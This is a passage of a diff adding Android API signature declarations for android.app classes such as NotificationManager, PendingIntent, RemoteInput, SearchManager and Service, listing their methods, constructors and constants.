+    method public void setDescription(String);
+    method public void setGroup(String);
+    method public void setImportance(int);
+    method public void setLightColor(int);
+    method public void setLockscreenVisibility(int);
+    method public void setName(CharSequence);
+    method public void setShowBadge(boolean);
+    method public void setSound(android.net.Uri, android.media.AudioAttributes);
+    method public void setVibrationPattern(long[]);
+    method public boolean shouldShowLights();
+    method public boolean shouldVibrate();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.NotificationChannel> CREATOR;
+    field public static final String DEFAULT_CHANNEL_ID = "miscellaneous";
+    field public static final String EDIT_CONVERSATION = "conversation";
+    field public static final String EDIT_IMPORTANCE = "importance";
+    field public static final String EDIT_LAUNCHER = "launcher";
+    field public static final String EDIT_LOCKED_DEVICE = "locked";
+    field public static final String EDIT_SOUND = "sound";
+    field public static final String EDIT_VIBRATION = "vibration";
+    field public static final String EDIT_ZEN = "zen";
+  }
+
+  public final class NotificationChannelGroup implements android.os.Parcelable {
+    ctor public NotificationChannelGroup(String, CharSequence);
+    method public android.app.NotificationChannelGroup clone();
+    method public int describeContents();
+    method public java.util.List<android.app.NotificationChannel> getChannels();
+    method public String getDescription();
+    method public String getId();
+    method public CharSequence getName();
+    method public boolean isBlocked();
+    method public void setDescription(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.NotificationChannelGroup> CREATOR;
+  }
+
+  public class NotificationManager {
+    method public String addAutomaticZenRule(android.app.AutomaticZenRule);
+    method @Deprecated public boolean areBubblesAllowed();
+    method public boolean areBubblesEnabled();
+    method public boolean areNotificationsEnabled();
+    method public boolean areNotificationsPaused();
+    method public boolean canNotifyAsPackage(@NonNull String);
+    method public void cancel(int);
+    method public void cancel(@Nullable String, int);
+    method public void cancelAll();
+    method public void cancelAsPackage(@NonNull String, @Nullable String, int);
+    method public void createNotificationChannel(@NonNull android.app.NotificationChannel);
+    method public void createNotificationChannelGroup(@NonNull android.app.NotificationChannelGroup);
+    method public void createNotificationChannelGroups(@NonNull java.util.List<android.app.NotificationChannelGroup>);
+    method public void createNotificationChannels(@NonNull java.util.List<android.app.NotificationChannel>);
+    method public void deleteNotificationChannel(String);
+    method public void deleteNotificationChannelGroup(String);
+    method public android.service.notification.StatusBarNotification[] getActiveNotifications();
+    method public android.app.AutomaticZenRule getAutomaticZenRule(String);
+    method public java.util.Map<java.lang.String,android.app.AutomaticZenRule> getAutomaticZenRules();
+    method public int getBubblePreference();
+    method @NonNull public android.app.NotificationManager.Policy getConsolidatedNotificationPolicy();
+    method public final int getCurrentInterruptionFilter();
+    method public int getImportance();
+    method public android.app.NotificationChannel getNotificationChannel(String);
+    method @Nullable public android.app.NotificationChannel getNotificationChannel(@NonNull String, @NonNull String);
+    method public android.app.NotificationChannelGroup getNotificationChannelGroup(String);
+    method public java.util.List<android.app.NotificationChannelGroup> getNotificationChannelGroups();
+    method public java.util.List<android.app.NotificationChannel> getNotificationChannels();
+    method @Nullable public String getNotificationDelegate();
+    method public android.app.NotificationManager.Policy getNotificationPolicy();
+    method public boolean isNotificationListenerAccessGranted(android.content.ComponentName);
+    method public boolean isNotificationPolicyAccessGranted();
+    method public void notify(int, android.app.Notification);
+    method public void notify(String, int, android.app.Notification);
+    method public void notifyAsPackage(@NonNull String, @Nullable String, int, @NonNull android.app.Notification);
+    method public boolean removeAutomaticZenRule(String);
+    method public void setAutomaticZenRuleState(@NonNull String, @NonNull android.service.notification.Condition);
+    method public final void setInterruptionFilter(int);
+    method public void setNotificationDelegate(@Nullable String);
+    method public void setNotificationPolicy(@NonNull android.app.NotificationManager.Policy);
+    method public boolean shouldHideSilentStatusBarIcons();
+    method public boolean updateAutomaticZenRule(String, android.app.AutomaticZenRule);
+    field public static final String ACTION_APP_BLOCK_STATE_CHANGED = "android.app.action.APP_BLOCK_STATE_CHANGED";
+    field public static final String ACTION_AUTOMATIC_ZEN_RULE = "android.app.action.AUTOMATIC_ZEN_RULE";
+    field public static final String ACTION_AUTOMATIC_ZEN_RULE_STATUS_CHANGED = "android.app.action.AUTOMATIC_ZEN_RULE_STATUS_CHANGED";
+    field public static final String ACTION_INTERRUPTION_FILTER_CHANGED = "android.app.action.INTERRUPTION_FILTER_CHANGED";
+    field public static final String ACTION_NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED = "android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED";
+    field public static final String ACTION_NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED = "android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED";
+    field public static final String ACTION_NOTIFICATION_POLICY_ACCESS_GRANTED_CHANGED = "android.app.action.NOTIFICATION_POLICY_ACCESS_GRANTED_CHANGED";
+    field public static final String ACTION_NOTIFICATION_POLICY_CHANGED = "android.app.action.NOTIFICATION_POLICY_CHANGED";
+    field public static final int AUTOMATIC_RULE_STATUS_DISABLED = 2; // 0x2
+    field public static final int AUTOMATIC_RULE_STATUS_ENABLED = 1; // 0x1
+    field public static final int AUTOMATIC_RULE_STATUS_REMOVED = 3; // 0x3
+    field public static final int AUTOMATIC_RULE_STATUS_UNKNOWN = -1; // 0xffffffff
+    field public static final int BUBBLE_PREFERENCE_ALL = 1; // 0x1
+    field public static final int BUBBLE_PREFERENCE_NONE = 0; // 0x0
+    field public static final int BUBBLE_PREFERENCE_SELECTED = 2; // 0x2
+    field public static final String EXTRA_AUTOMATIC_RULE_ID = "android.app.extra.AUTOMATIC_RULE_ID";
+    field public static final String EXTRA_AUTOMATIC_ZEN_RULE_ID = "android.app.extra.AUTOMATIC_ZEN_RULE_ID";
+    field public static final String EXTRA_AUTOMATIC_ZEN_RULE_STATUS = "android.app.extra.AUTOMATIC_ZEN_RULE_STATUS";
+    field public static final String EXTRA_BLOCKED_STATE = "android.app.extra.BLOCKED_STATE";
+    field public static final String EXTRA_NOTIFICATION_CHANNEL_GROUP_ID = "android.app.extra.NOTIFICATION_CHANNEL_GROUP_ID";
+    field public static final String EXTRA_NOTIFICATION_CHANNEL_ID = "android.app.extra.NOTIFICATION_CHANNEL_ID";
+    field public static final int IMPORTANCE_DEFAULT = 3; // 0x3
+    field public static final int IMPORTANCE_HIGH = 4; // 0x4
+    field public static final int IMPORTANCE_LOW = 2; // 0x2
+    field public static final int IMPORTANCE_MAX = 5; // 0x5
+    field public static final int IMPORTANCE_MIN = 1; // 0x1
+    field public static final int IMPORTANCE_NONE = 0; // 0x0
+    field public static final int IMPORTANCE_UNSPECIFIED = -1000; // 0xfffffc18
+    field public static final int INTERRUPTION_FILTER_ALARMS = 4; // 0x4
+    field public static final int INTERRUPTION_FILTER_ALL = 1; // 0x1
+    field public static final int INTERRUPTION_FILTER_NONE = 3; // 0x3
+    field public static final int INTERRUPTION_FILTER_PRIORITY = 2; // 0x2
+    field public static final int INTERRUPTION_FILTER_UNKNOWN = 0; // 0x0
+    field public static final String META_DATA_AUTOMATIC_RULE_TYPE = "android.service.zen.automatic.ruleType";
+    field public static final String META_DATA_RULE_INSTANCE_LIMIT = "android.service.zen.automatic.ruleInstanceLimit";
+  }
+
+  public static class NotificationManager.Policy implements android.os.Parcelable {
+    ctor public NotificationManager.Policy(int, int, int);
+    ctor public NotificationManager.Policy(int, int, int, int);
+    ctor public NotificationManager.Policy(int, int, int, int, int);
+    method public int describeContents();
+    method public static String priorityCategoriesToString(int);
+    method public static String prioritySendersToString(int);
+    method public static String suppressedEffectsToString(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CONVERSATION_SENDERS_ANYONE = 1; // 0x1
+    field public static final int CONVERSATION_SENDERS_IMPORTANT = 2; // 0x2
+    field public static final int CONVERSATION_SENDERS_NONE = 3; // 0x3
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.NotificationManager.Policy> CREATOR;
+    field public static final int PRIORITY_CATEGORY_ALARMS = 32; // 0x20
+    field public static final int PRIORITY_CATEGORY_CALLS = 8; // 0x8
+    field public static final int PRIORITY_CATEGORY_CONVERSATIONS = 256; // 0x100
+    field public static final int PRIORITY_CATEGORY_EVENTS = 2; // 0x2
+    field public static final int PRIORITY_CATEGORY_MEDIA = 64; // 0x40
+    field public static final int PRIORITY_CATEGORY_MESSAGES = 4; // 0x4
+    field public static final int PRIORITY_CATEGORY_REMINDERS = 1; // 0x1
+    field public static final int PRIORITY_CATEGORY_REPEAT_CALLERS = 16; // 0x10
+    field public static final int PRIORITY_CATEGORY_SYSTEM = 128; // 0x80
+    field public static final int PRIORITY_SENDERS_ANY = 0; // 0x0
+    field public static final int PRIORITY_SENDERS_CONTACTS = 1; // 0x1
+    field public static final int PRIORITY_SENDERS_STARRED = 2; // 0x2
+    field public static final int SUPPRESSED_EFFECT_AMBIENT = 128; // 0x80
+    field public static final int SUPPRESSED_EFFECT_BADGE = 64; // 0x40
+    field public static final int SUPPRESSED_EFFECT_FULL_SCREEN_INTENT = 4; // 0x4
+    field public static final int SUPPRESSED_EFFECT_LIGHTS = 8; // 0x8
+    field public static final int SUPPRESSED_EFFECT_NOTIFICATION_LIST = 256; // 0x100
+    field public static final int SUPPRESSED_EFFECT_PEEK = 16; // 0x10
+    field @Deprecated public static final int SUPPRESSED_EFFECT_SCREEN_OFF = 1; // 0x1
+    field @Deprecated public static final int SUPPRESSED_EFFECT_SCREEN_ON = 2; // 0x2
+    field public static final int SUPPRESSED_EFFECT_STATUS_BAR = 32; // 0x20
+    field public final int priorityCallSenders;
+    field public final int priorityCategories;
+    field public final int priorityConversationSenders;
+    field public final int priorityMessageSenders;
+    field public final int suppressedVisualEffects;
+  }
+
+  public final class PendingIntent implements android.os.Parcelable {
+    method public void cancel();
+    method public int describeContents();
+    method public static android.app.PendingIntent getActivities(android.content.Context, int, @NonNull android.content.Intent[], int);
+    method public static android.app.PendingIntent getActivities(android.content.Context, int, @NonNull android.content.Intent[], int, @Nullable android.os.Bundle);
+    method public static android.app.PendingIntent getActivity(android.content.Context, int, android.content.Intent, int);
+    method public static android.app.PendingIntent getActivity(android.content.Context, int, @NonNull android.content.Intent, int, @Nullable android.os.Bundle);
+    method public static android.app.PendingIntent getBroadcast(android.content.Context, int, @NonNull android.content.Intent, int);
+    method @Nullable public String getCreatorPackage();
+    method public int getCreatorUid();
+    method @NonNull public android.os.UserHandle getCreatorUserHandle();
+    method public static android.app.PendingIntent getForegroundService(android.content.Context, int, @NonNull android.content.Intent, int);
+    method @NonNull public android.content.IntentSender getIntentSender();
+    method public static android.app.PendingIntent getService(android.content.Context, int, @NonNull android.content.Intent, int);
+    method @Deprecated @Nullable public String getTargetPackage();
+    method public boolean isActivity();
+    method public boolean isBroadcast();
+    method public boolean isForegroundService();
+    method public boolean isImmutable();
+    method public boolean isService();
+    method @Nullable public static android.app.PendingIntent readPendingIntentOrNullFromParcel(@NonNull android.os.Parcel);
+    method public void send() throws android.app.PendingIntent.CanceledException;
+    method public void send(int) throws android.app.PendingIntent.CanceledException;
+    method public void send(android.content.Context, int, @Nullable android.content.Intent) throws android.app.PendingIntent.CanceledException;
+    method public void send(int, @Nullable android.app.PendingIntent.OnFinished, @Nullable android.os.Handler) throws android.app.PendingIntent.CanceledException;
+    method public void send(android.content.Context, int, @Nullable android.content.Intent, @Nullable android.app.PendingIntent.OnFinished, @Nullable android.os.Handler) throws android.app.PendingIntent.CanceledException;
+    method public void send(android.content.Context, int, @Nullable android.content.Intent, @Nullable android.app.PendingIntent.OnFinished, @Nullable android.os.Handler, @Nullable String) throws android.app.PendingIntent.CanceledException;
+    method public void send(android.content.Context, int, @Nullable android.content.Intent, @Nullable android.app.PendingIntent.OnFinished, @Nullable android.os.Handler, @Nullable String, @Nullable android.os.Bundle) throws android.app.PendingIntent.CanceledException;
+    method public static void writePendingIntentOrNullToParcel(@Nullable android.app.PendingIntent, @NonNull android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.PendingIntent> CREATOR;
+    field public static final int FLAG_CANCEL_CURRENT = 268435456; // 0x10000000
+    field public static final int FLAG_IMMUTABLE = 67108864; // 0x4000000
+    field public static final int FLAG_MUTABLE = 33554432; // 0x2000000
+    field public static final int FLAG_NO_CREATE = 536870912; // 0x20000000
+    field public static final int FLAG_ONE_SHOT = 1073741824; // 0x40000000
+    field public static final int FLAG_UPDATE_CURRENT = 134217728; // 0x8000000
+  }
+
+  public static class PendingIntent.CanceledException extends android.util.AndroidException {
+    ctor public PendingIntent.CanceledException();
+    ctor public PendingIntent.CanceledException(String);
+    ctor public PendingIntent.CanceledException(Exception);
+  }
+
+  public static interface PendingIntent.OnFinished {
+    method public void onSendFinished(android.app.PendingIntent, android.content.Intent, int, String, android.os.Bundle);
+  }
+
+  public final class Person implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.graphics.drawable.Icon getIcon();
+    method @Nullable public String getKey();
+    method @Nullable public CharSequence getName();
+    method @Nullable public String getUri();
+    method public boolean isBot();
+    method public boolean isImportant();
+    method public android.app.Person.Builder toBuilder();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.Person> CREATOR;
+  }
+
+  public static class Person.Builder {
+    ctor public Person.Builder();
+    method @NonNull public android.app.Person build();
+    method @NonNull public android.app.Person.Builder setBot(boolean);
+    method @NonNull public android.app.Person.Builder setIcon(@Nullable android.graphics.drawable.Icon);
+    method @NonNull public android.app.Person.Builder setImportant(boolean);
+    method @NonNull public android.app.Person.Builder setKey(@Nullable String);
+    method @NonNull public android.app.Person.Builder setName(@Nullable CharSequence);
+    method @NonNull public android.app.Person.Builder setUri(@Nullable String);
+  }
+
+  public final class PictureInPictureParams implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.PictureInPictureParams> CREATOR;
+  }
+
+  public static class PictureInPictureParams.Builder {
+    ctor public PictureInPictureParams.Builder();
+    method public android.app.PictureInPictureParams build();
+    method public android.app.PictureInPictureParams.Builder setActions(java.util.List<android.app.RemoteAction>);
+    method public android.app.PictureInPictureParams.Builder setAspectRatio(android.util.Rational);
+    method @NonNull public android.app.PictureInPictureParams.Builder setAutoEnterEnabled(boolean);
+    method @NonNull public android.app.PictureInPictureParams.Builder setSeamlessResizeEnabled(boolean);
+    method public android.app.PictureInPictureParams.Builder setSourceRectHint(android.graphics.Rect);
+  }
+
+  public final class PictureInPictureUiState implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean isStashed();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.PictureInPictureUiState> CREATOR;
+  }
+
+  public class Presentation extends android.app.Dialog {
+    ctor public Presentation(android.content.Context, android.view.Display);
+    ctor public Presentation(android.content.Context, android.view.Display, int);
+    method public android.view.Display getDisplay();
+    method public android.content.res.Resources getResources();
+    method public void onDisplayChanged();
+    method public void onDisplayRemoved();
+  }
+
+  @Deprecated public class ProgressDialog extends android.app.AlertDialog {
+    ctor @Deprecated public ProgressDialog(android.content.Context);
+    ctor @Deprecated public ProgressDialog(android.content.Context, int);
+    method @Deprecated public int getMax();
+    method @Deprecated public int getProgress();
+    method @Deprecated public int getSecondaryProgress();
+    method @Deprecated public void incrementProgressBy(int);
+    method @Deprecated public void incrementSecondaryProgressBy(int);
+    method @Deprecated public boolean isIndeterminate();
+    method @Deprecated public void onStart();
+    method @Deprecated public void setIndeterminate(boolean);
+    method @Deprecated public void setIndeterminateDrawable(android.graphics.drawable.Drawable);
+    method @Deprecated public void setMax(int);
+    method @Deprecated public void setProgress(int);
+    method @Deprecated public void setProgressDrawable(android.graphics.drawable.Drawable);
+    method @Deprecated public void setProgressNumberFormat(String);
+    method @Deprecated public void setProgressPercentFormat(java.text.NumberFormat);
+    method @Deprecated public void setProgressStyle(int);
+    method @Deprecated public void setSecondaryProgress(int);
+    method @Deprecated public static android.app.ProgressDialog show(android.content.Context, CharSequence, CharSequence);
+    method @Deprecated public static android.app.ProgressDialog show(android.content.Context, CharSequence, CharSequence, boolean);
+    method @Deprecated public static android.app.ProgressDialog show(android.content.Context, CharSequence, CharSequence, boolean, boolean);
+    method @Deprecated public static android.app.ProgressDialog show(android.content.Context, CharSequence, CharSequence, boolean, boolean, android.content.DialogInterface.OnCancelListener);
+    field @Deprecated public static final int STYLE_HORIZONTAL = 1; // 0x1
+    field @Deprecated public static final int STYLE_SPINNER = 0; // 0x0
+  }
+
+  public final class RecoverableSecurityException extends java.lang.SecurityException implements android.os.Parcelable {
+    ctor public RecoverableSecurityException(@NonNull Throwable, @NonNull CharSequence, @NonNull android.app.RemoteAction);
+    method public int describeContents();
+    method @NonNull public android.app.RemoteAction getUserAction();
+    method @NonNull public CharSequence getUserMessage();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.RecoverableSecurityException> CREATOR;
+  }
+
+  public final class RemoteAction implements android.os.Parcelable {
+    ctor public RemoteAction(@NonNull android.graphics.drawable.Icon, @NonNull CharSequence, @NonNull CharSequence, @NonNull android.app.PendingIntent);
+    method public android.app.RemoteAction clone();
+    method public int describeContents();
+    method public void dump(String, java.io.PrintWriter);
+    method @NonNull public android.app.PendingIntent getActionIntent();
+    method @NonNull public CharSequence getContentDescription();
+    method @NonNull public android.graphics.drawable.Icon getIcon();
+    method @NonNull public CharSequence getTitle();
+    method public boolean isEnabled();
+    method public void setEnabled(boolean);
+    method public void setShouldShowIcon(boolean);
+    method public boolean shouldShowIcon();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.RemoteAction> CREATOR;
+  }
+
+  public final class RemoteInput implements android.os.Parcelable {
+    method public static void addDataResultToIntent(android.app.RemoteInput, android.content.Intent, java.util.Map<java.lang.String,android.net.Uri>);
+    method public static void addResultsToIntent(android.app.RemoteInput[], android.content.Intent, android.os.Bundle);
+    method public int describeContents();
+    method public boolean getAllowFreeFormInput();
+    method public java.util.Set<java.lang.String> getAllowedDataTypes();
+    method public CharSequence[] getChoices();
+    method public static java.util.Map<java.lang.String,android.net.Uri> getDataResultsFromIntent(android.content.Intent, String);
+    method public int getEditChoicesBeforeSending();
+    method public android.os.Bundle getExtras();
+    method public CharSequence getLabel();
+    method public String getResultKey();
+    method public static android.os.Bundle getResultsFromIntent(android.content.Intent);
+    method public static int getResultsSource(android.content.Intent);
+    method public boolean isDataOnly();
+    method public static void setResultsSource(android.content.Intent, int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.RemoteInput> CREATOR;
+    field public static final int EDIT_CHOICES_BEFORE_SENDING_AUTO = 0; // 0x0
+    field public static final int EDIT_CHOICES_BEFORE_SENDING_DISABLED = 1; // 0x1
+    field public static final int EDIT_CHOICES_BEFORE_SENDING_ENABLED = 2; // 0x2
+    field public static final String EXTRA_RESULTS_DATA = "android.remoteinput.resultsData";
+    field public static final String RESULTS_CLIP_LABEL = "android.remoteinput.results";
+    field public static final int SOURCE_CHOICE = 1; // 0x1
+    field public static final int SOURCE_FREE_FORM_INPUT = 0; // 0x0
+  }
+
+  public static final class RemoteInput.Builder {
+    ctor public RemoteInput.Builder(@NonNull String);
+    method @NonNull public android.app.RemoteInput.Builder addExtras(@NonNull android.os.Bundle);
+    method @NonNull public android.app.RemoteInput build();
+    method @NonNull public android.os.Bundle getExtras();
+    method @NonNull public android.app.RemoteInput.Builder setAllowDataType(@NonNull String, boolean);
+    method @NonNull public android.app.RemoteInput.Builder setAllowFreeFormInput(boolean);
+    method @NonNull public android.app.RemoteInput.Builder setChoices(@Nullable CharSequence[]);
+    method @NonNull public android.app.RemoteInput.Builder setEditChoicesBeforeSending(int);
+    method @NonNull public android.app.RemoteInput.Builder setLabel(@Nullable CharSequence);
+  }
+
+  public class SearchManager implements android.content.DialogInterface.OnCancelListener android.content.DialogInterface.OnDismissListener {
+    method public android.content.ComponentName getGlobalSearchActivity();
+    method public android.app.SearchableInfo getSearchableInfo(android.content.ComponentName);
+    method public java.util.List<android.app.SearchableInfo> getSearchablesInGlobalSearch();
+    method @Deprecated public void onCancel(android.content.DialogInterface);
+    method @Deprecated public void onDismiss(android.content.DialogInterface);
+    method public void setOnCancelListener(android.app.SearchManager.OnCancelListener);
+    method public void setOnDismissListener(android.app.SearchManager.OnDismissListener);
+    method public void startSearch(String, boolean, android.content.ComponentName, android.os.Bundle, boolean);
+    method public void stopSearch();
+    method public void triggerSearch(String, android.content.ComponentName, android.os.Bundle);
+    field public static final String ACTION_KEY = "action_key";
+    field public static final String ACTION_MSG = "action_msg";
+    field public static final String APP_DATA = "app_data";
+    field public static final String CURSOR_EXTRA_KEY_IN_PROGRESS = "in_progress";
+    field public static final String EXTRA_DATA_KEY = "intent_extra_data_key";
+    field public static final String EXTRA_NEW_SEARCH = "new_search";
+    field public static final String EXTRA_SELECT_QUERY = "select_query";
+    field public static final String EXTRA_WEB_SEARCH_PENDINGINTENT = "web_search_pendingintent";
+    field public static final int FLAG_QUERY_REFINEMENT = 1; // 0x1
+    field public static final String INTENT_ACTION_GLOBAL_SEARCH = "android.search.action.GLOBAL_SEARCH";
+    field public static final String INTENT_ACTION_SEARCHABLES_CHANGED = "android.search.action.SEARCHABLES_CHANGED";
+    field public static final String INTENT_ACTION_SEARCH_SETTINGS = "android.search.action.SEARCH_SETTINGS";
+    field public static final String INTENT_ACTION_SEARCH_SETTINGS_CHANGED = "android.search.action.SETTINGS_CHANGED";
+    field public static final String INTENT_ACTION_WEB_SEARCH_SETTINGS = "android.search.action.WEB_SEARCH_SETTINGS";
+    field public static final String INTENT_GLOBAL_SEARCH_ACTIVITY_CHANGED = "android.search.action.GLOBAL_SEARCH_ACTIVITY_CHANGED";
+    field public static final char MENU_KEY = 115; // 0x0073 's'
+    field public static final int MENU_KEYCODE = 47; // 0x2f
+    field public static final String QUERY = "query";
+    field public static final String SHORTCUT_MIME_TYPE = "vnd.android.cursor.item/vnd.android.search.suggest";
+    field public static final String SUGGEST_COLUMN_AUDIO_CHANNEL_CONFIG = "suggest_audio_channel_config";
+    field public static final String SUGGEST_COLUMN_CONTENT_TYPE = "suggest_content_type";
+    field public static final String SUGGEST_COLUMN_DURATION = "suggest_duration";
+    field public static final String SUGGEST_COLUMN_FLAGS = "suggest_flags";
+    field public static final String SUGGEST_COLUMN_FORMAT = "suggest_format";
+    field public static final String SUGGEST_COLUMN_ICON_1 = "suggest_icon_1";
+    field public static final String SUGGEST_COLUMN_ICON_2 = "suggest_icon_2";
+    field public static final String SUGGEST_COLUMN_INTENT_ACTION = "suggest_intent_action";
+    field public static final String SUGGEST_COLUMN_INTENT_DATA = "suggest_intent_data";
+    field public static final String SUGGEST_COLUMN_INTENT_DATA_ID = "suggest_intent_data_id";
+    field public static final String SUGGEST_COLUMN_INTENT_EXTRA_DATA = "suggest_intent_extra_data";
+    field public static final String SUGGEST_COLUMN_IS_LIVE = "suggest_is_live";
+    field public static final String SUGGEST_COLUMN_LAST_ACCESS_HINT = "suggest_last_access_hint";
+    field public static final String SUGGEST_COLUMN_PRODUCTION_YEAR = "suggest_production_year";
+    field public static final String SUGGEST_COLUMN_PURCHASE_PRICE = "suggest_purchase_price";
+    field public static final String SUGGEST_COLUMN_QUERY = "suggest_intent_query";
+    field public static final String SUGGEST_COLUMN_RATING_SCORE = "suggest_rating_score";
+    field public static final String SUGGEST_COLUMN_RATING_STYLE = "suggest_rating_style";
+    field public static final String SUGGEST_COLUMN_RENTAL_PRICE = "suggest_rental_price";
+    field public static final String SUGGEST_COLUMN_RESULT_CARD_IMAGE = "suggest_result_card_image";
+    field public static final String SUGGEST_COLUMN_SHORTCUT_ID = "suggest_shortcut_id";
+    field public static final String SUGGEST_COLUMN_SPINNER_WHILE_REFRESHING = "suggest_spinner_while_refreshing";
+    field public static final String SUGGEST_COLUMN_TEXT_1 = "suggest_text_1";
+    field public static final String SUGGEST_COLUMN_TEXT_2 = "suggest_text_2";
+    field public static final String SUGGEST_COLUMN_TEXT_2_URL = "suggest_text_2_url";
+    field public static final String SUGGEST_COLUMN_VIDEO_HEIGHT = "suggest_video_height";
+    field public static final String SUGGEST_COLUMN_VIDEO_WIDTH = "suggest_video_width";
+    field public static final String SUGGEST_MIME_TYPE = "vnd.android.cursor.dir/vnd.android.search.suggest";
+    field public static final String SUGGEST_NEVER_MAKE_SHORTCUT = "_-1";
+    field public static final String SUGGEST_PARAMETER_LIMIT = "limit";
+    field public static final String SUGGEST_URI_PATH_QUERY = "search_suggest_query";
+    field public static final String SUGGEST_URI_PATH_SHORTCUT = "search_suggest_shortcut";
+    field public static final String USER_QUERY = "user_query";
+  }
+
+  public static interface SearchManager.OnCancelListener {
+    method public void onCancel();
+  }
+
+  public static interface SearchManager.OnDismissListener {
+    method public void onDismiss();
+  }
+
+  public final class SearchableInfo implements android.os.Parcelable {
+    method public boolean autoUrlDetect();
+    method public int describeContents();
+    method public int getHintId();
+    method public int getImeOptions();
+    method public int getInputType();
+    method public android.content.ComponentName getSearchActivity();
+    method public int getSettingsDescriptionId();
+    method public String getSuggestAuthority();
+    method public String getSuggestIntentAction();
+    method public String getSuggestIntentData();
+    method public String getSuggestPackage();
+    method public String getSuggestPath();
+    method public String getSuggestSelection();
+    method public int getSuggestThreshold();
+    method @StringRes public int getVoiceLanguageId();
+    method @StringRes public int getVoiceLanguageModeId();
+    method public int getVoiceMaxResults();
+    method @StringRes public int getVoicePromptTextId();
+    method public boolean getVoiceSearchEnabled();
+    method public boolean getVoiceSearchLaunchRecognizer();
+    method public boolean getVoiceSearchLaunchWebSearch();
+    method public boolean queryAfterZeroResults();
+    method public boolean shouldIncludeInGlobalSearch();
+    method public boolean shouldRewriteQueryFromData();
+    method public boolean shouldRewriteQueryFromText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.SearchableInfo> CREATOR;
+  }
+
+  public abstract class Service extends android.content.ContextWrapper implements android.content.ComponentCallbacks2 {
+    ctor public Service();
+    method protected void dump(java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method public final android.app.Application getApplication();
+    method public final int getForegroundServiceType();
+    method @Nullable public abstract android.os.IBinder onBind(android.content.Intent);
+    method public void onConfigurationChanged(android.content.res.Configuration);
+    method public void onCreate();
+    method public void onDestroy();
+    method public void onLowMemory();
+    method public void onRebind(android.content.Intent);
+    method @Deprecated public void onStart(android.content.Intent, int);
+    method public int onStartCommand(android.content.Intent, int, int);
+    method public void onTaskRemoved(android.content.Intent);
+    method public void onTrimMemory(int);
+    method public boolean onUnbind(android.content.Intent);
+    method public final void startForeground(int, android.app.Notification);
+    method public final void startForeground(int, @NonNull android.app.Notification, int);
+    method public final void stopForeground(boolean);
+    method public final void stopForeground(int);
+    method public final void stopSelf();
+    method public final void stopSelf(int);
+    method public final boolean stopSelfResult(int);
+    field public static final int START_CONTINUATION_MASK = 15; // 0xf
+    field public static final int START_FLAG_REDELIVERY = 1; // 0x1
+    field public static final int START_FLAG_RETRY = 2; // 0x2
+    field public static final int START_NOT_STICKY = 2; // 0x2
+    field public static final int START_REDELIVER_INTENT = 3; // 0x3
+    field public static final int START_STICKY = 1; // 0x1
+    field public static final int START_STICKY_COMPATIBILITY = 0; // 0x0
+    field public static final int STOP_FOREGROUND_DETACH = 2; // 0x2
+    field public static final int STOP_FOREGROUND_REMOVE = 1; // 0x1
+  }
+
+  public abstract class ServiceStartNotAllowedException extends java.lang.IllegalStateException {
+  }
+
+  public abstract class SharedElementCallback {
+    ctor public SharedElementCallback();
+    method public android.os.Parcelable onCaptureSharedElementSnapshot(android.view.View, android.graphics.Matrix, android.graphics.RectF);
+    method public android.view.View onCreateSnapshotView(android.content.Context, android.os.Parcelable);
+    method public void onMapSharedElements(java.util.List<java.lang.String>, java.util.Map<java.lang.String,android.view.View>);
+    method public void onRejectSharedElements(java.util.List<android.view.View>);
+    method public void onSharedElementEnd(java.util.List<java.lang.String>, java.util.List<android.view.View>, java.util.List<android.view.View>);
+    method public void onSharedElementStart(java.util.List<java.lang.String>, java.util.List<android.view.View>, java.util.List<android.view.View>);
+    method public void onSharedElementsArrived(java.util.List<java.lang.String>, java.util.List<android.view.View>, android.app.SharedElementCallback.OnSharedElementsReadyListener);
+  }
+
+  public static interface SharedElementCallback.OnSharedElementsReadyListener {
+    method public void onSharedElementsReady();
+  }
+
+  public class StatusBarManager {
+  }
+
+  public final class SyncNotedAppOp implements android.os.Parcelable {
+    ctor public SyncNotedAppOp(@IntRange(from=0L) int, @Nullable String);
+    method public int describeContents();
+    method @Nullable public String getAttributionTag();
+    method @NonNull public String getOp();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.SyncNotedAppOp> CREATOR;
+  }
+
+  @Deprecated public class TabActivity extends android.app.ActivityGroup {
+    ctor @Deprecated public TabActivity();
+    method @Deprecated public android.widget.TabHost getTabHost();
+    method @Deprecated public android.widget.TabWidget getTabWidget();
+    method @Deprecated public void setDefaultTab(String);
+    method @Deprecated public void setDefaultTab(int);
+  }
+
+  public class TaskInfo {
+    field @Nullable public android.content.ComponentName baseActivity;
+    field @NonNull public android.content.Intent baseIntent;
+    field public boolean isRunning;
+    field public int numActivities;
+    field @Nullable public android.content.ComponentName origActivity;
+    field @Nullable public android.app.ActivityManager.TaskDescription taskDescription;
+    field public int taskId;
+    field @Nullable public android.content.ComponentName topActivity;
+  }
+
+  public class TaskStackBuilder {
+    method public android.app.TaskStackBuilder addNextIntent(android.content.Intent);
